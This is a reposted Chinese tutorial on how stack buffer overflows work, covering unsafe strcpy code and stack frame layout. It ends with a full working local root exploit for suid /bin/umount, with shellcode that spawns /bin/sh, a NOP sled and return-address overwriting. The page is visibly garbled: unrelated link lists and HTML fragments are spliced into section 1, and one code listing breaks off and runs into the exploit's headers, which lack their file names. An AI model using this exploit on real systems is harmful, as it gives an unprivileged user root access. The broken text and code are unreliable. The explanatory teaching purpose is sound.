缓冲区溢出(buffer overflow)机理分析

王朝other·作者佚名  2006-12-16
窄屏简体版  字體: |||超大  

1.什么是缓冲区溢出?

~~~~~~~~~~~~~~~~~~~

buffer overflow,buffer overrun,smash the stack,trash the stack,

scribble the stack, mangle the stack,spam,alias bug,fandango on core,

memory leak,precedence lossage,overrun screw...

指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

example1.c

----------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

----------------------------------------------------------------------

上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度 大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的

getc(),fgetc(),getchar()等。当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户Chrooting 后台服务和系统程序指导adore rootkit分析缓冲区溢出(buffer overflow)机理分析IPC入侵工略及防范 浅析Apache服务器中SSI和CGI的设定方法浏览图片就有可能中木马!Passive Analysis of SSH (Secure Shell) TrafficWindows新漏洞将任意用户提升到SYSTEM级别的权限的方法FTP使用精萃--FTP的内部命令常见端口对照表(英文版)相关链接共 145 篇','相关的链接')" href="http://www.safechina.net/article/showarticle.php?id=1003657632#"shell,再通过shell执行其它命令。如果该程序属于root且有suid分析进入Win2000后留下的足迹 解读防火墙记录部分防止Solaris溢出的方法 菜鸟操(五)(bfctx原创)一个访问NTFS磁盘权限的方法输入法漏洞之完全心得Windows 2000 安全设置检查清单Nmap网络安全扫描器说明(1)Nmap网络安全扫描器说明(2)SQL数据库的一些攻击相关链接共 195 篇','相关的链接')" href="http://www.safechina.net/article/showarticle.php?id=1003657632#"权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intelx86 CPU的帐号安全缓冲区溢出(buffer overflow)机理分析UNIX防止非法用户注册的技术NetXray捕获telnet登录口令嗅探原理与反嗅探技术详解Chrooting 后台服务和系统程序指导Linux 指令大全(1) 破解系统(1-7)常见端口详解及部分攻击策略 堆栈溢出从入门到提高相关链接共 136 篇','相关的链接')" href="http://www.safechina.net/article/showarticle.php?id=1003657632#"Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应修改。

2.制造缓冲区溢出

~~~~~~~~~~~~~~~~

一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是:

+------------------+ 内存低端

│ 程序段 │

│------------------│

│ 数据段 │

│------------------│

│ 堆栈 │

+------------------+ 内存高端

当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。以下面程序为例:

example2.c

----------------------------------------------------------------------

void function(char *str) {

char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i

#include

#include

#include

#include

#define PATH_MOUNT \"/bin/umount\"

#define BUFFER_SIZE 1024

#define DEFAULT_OFFSET 50

u_long get_esp()

{

__asm__(\"movl %esp, %eax\");

}

main(int argc, char **argv)

{

u_char execshell[] =

\"\\xeb\\x24\\x5e\\x8d\\x1e\\x89\\x5e\\x0b\\x33\\xd2\\x89\\x56\\x07\\x89\\x56\\x0f\"

\"\\xb8\\x1b\\x56\\x34\\x12\\x35\\x10\\x56\\x34\\x12\\x8d\\x4e\\x0b\\x8b\\xd1\\xcd\"

\"\\x80\\x33\\xc0\\x40\\xcd\\x80\\xe8\\xd7\\xff\\xff\\xff/bin/sh\";

char *buff = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

int i;

int ofs = DEFAULT_OFFSET;

buff = malloc(4096);

if(!buff)

{

printf(\"can\'t allocate memory\\n\");

exit(0);

}

ptr = buff;

/* fill start of buffer with nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

ptr += BUFFER_SIZE-strlen(execshell);

/* stick asm code into the buffer */

for(i=0;i strlen(execshell);i++)

*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i (8/4);i++)

*(addr_ptr++) = get_esp() + ofs;

ptr = (char *)addr_ptr;

*ptr = 0;

(void)alarm((u_int)0);

printf(\"Discovered and Coded by Bloodmask and Vio, Covin 1996\\n\");

execl(PATH_MOUNT, \"mount\", buff, NULL);

}

----------------------------------------------------------------------

程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell。

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
 
 
© 2005- 王朝網路 版權所有 導航